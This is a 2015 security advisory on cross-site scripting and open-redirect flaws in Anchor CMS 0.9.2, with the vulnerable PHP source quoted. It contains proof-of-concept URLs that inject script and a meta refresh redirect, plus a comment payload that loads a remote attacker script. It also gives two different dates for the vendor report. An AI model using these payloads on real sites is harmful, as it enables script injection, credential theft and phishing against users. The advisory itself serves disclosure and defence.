Anchor CMS 0.9.2 Cross Site Scripting / Open Redirect

`  
Anchor CMS 0.9.2: XSS  
Security Advisory – Curesec Research Team  
  
1. Introduction  
  
Affected Product: Anchor CMS 0.9.2   
Fixed in: not fixed  
Fixed Version Link: n/a   
Vendor Contact: Website: http://anchorcms.com/   
Vulnerability Type: XSS and Open Redirect   
Remote Exploitable: Yes   
Reported to vendor: 07/30/2015   
Disclosed to public: 09/14/2015   
Release mode: Full Disclosure   
CVE: n/a   
Credits Tim Coen of Curesec GmbH   
  
2. Vulnerability Description  
  
Various components of Anchor CMS are vulnerable to cross site scripting.  
With this, it is possible to inject and execute arbitrary JavaScript  
code. This can for example be used by an attacker to inject a JavaScript  
keylogger, bypass CSRF protection, or perform phishing attacks.  
  
The attacks can be exploited by getting the victim to click a link or  
visit an attacker controlled website.  
XSS 1  
  
The 404 error page of Anchor CMS outputs the URL that was visited. It  
uses REQUEST_URI to do this, which can generally be considered  
reasonably secure as most modern browsers URL encode it. However, it  
then decodes it, opening it up for XSS.  
  
Sample POC:  
  
http://localhost/anchor-cms-0.9.2/test<script>alert(2)</script>  
  
Code:  
  
/themes/default/404.php:6  
<p>Unfortunately, the page <code>/<?php echo current_url();  
?></code> could not be found.  
  
/anchor/functions/helpers.php:34  
function current_url() {  
return Uri::current();  
}  
  
/system/uri.php:81  
public static function current() {  
if(is_null(static::$current)) static::$current = static::detect();  
  
return static::$current;  
}  
[...]  
public static function detect() {  
[...]  
return static::format($uri, $server);  
[...]  
}  
[...]  
public static function format($uri, $server) {  
// Remove all characters except letters,  
// digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.  
$uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);  
  
// remove script path/name  
$uri = static::remove_script_name($uri, $server);  
  
// remove the relative uri  
$uri = static::remove_relative_uri($uri);  
  
// return argument if not empty or return a single slash  
return trim($uri, '/') ?: '/';  
}  
XSS / Open Redirect  
  
The default theme of Anchor CMS echoes the given URL inside HTML tags.  
less-than and greater-than are properly encoded to protect against XSS,  
but quotes are not encoded as ENT_NOQUOTES is used. This makes it  
possible to break out of the context of the given attribute and add  
further attributes.  
  
The improper encoding of the URL leads to an Open Redirect vulnerability  
which may aid in phishing attacks. Additionally, it may lead to XSS in  
older browsers.  
  
Sample POC:  
  
Open Redirect:  
  
http://localhost/anchor-cms-0.9.2/search/foo;url=http://google.com"  
HTTP-EQUIV="refresh"  
It is also possible to inject a style attribute and thus gain XSS via  
for example expression(), but this will only work for older browsers.  
For some browsers it will also be possible to inject JavaScript via the  
url parameter:  
  
  
http://localhost/anchor-cms-0.9.2/search/foo;url=javascript:alert(1);"  
HTTP-EQUIV="refresh"  
  
Code:  
  
/themes/default/header.php:29  
<meta property="og:url" content="<?php echo  
e(current_url()); ?>">  
  
/system/helpers:78  
function e($str, $quotes = ENT_NOQUOTES) {  
return htmlspecialchars($str, $quotes, Config::app('encoding'),  
false);  
}  
XSS (User)  
  
It can be considered dangerous to let normal users post scripts, as this  
leads to persistent XSS, which can easily bypass CSRF protection, and  
thus a user could for example elevate their priviledge level to admin.  
XSS (Comments)  
  
Once comments are approved, they are not encoded anymore. It might be  
easy for an attacker to hide for example <img src="img"  
onerror="s=document.createElement('script');s.src='http://localhost/s.js';document.getElementById('tray').appendChild(s)">  
from an inexperienced user inside a large comment with lots of HTML.  
This would load a remote script, in which an attacker can perform the  
actual attack.  
  
3. Solution  
  
This issue was not fixed by the vendor.  
  
4. Report Timeline  
  
07/21/2015 Informed Vendor about Issue (no reply)  
08/18/2015 Reminded Vendor of release date (no reply)  
09/14/2015 Disclosed to public  
  
5. Blog Reference:  
http://blog.curesec.com/article/blog/Anchor-CMS-092-XSS-53.html  
  
  
`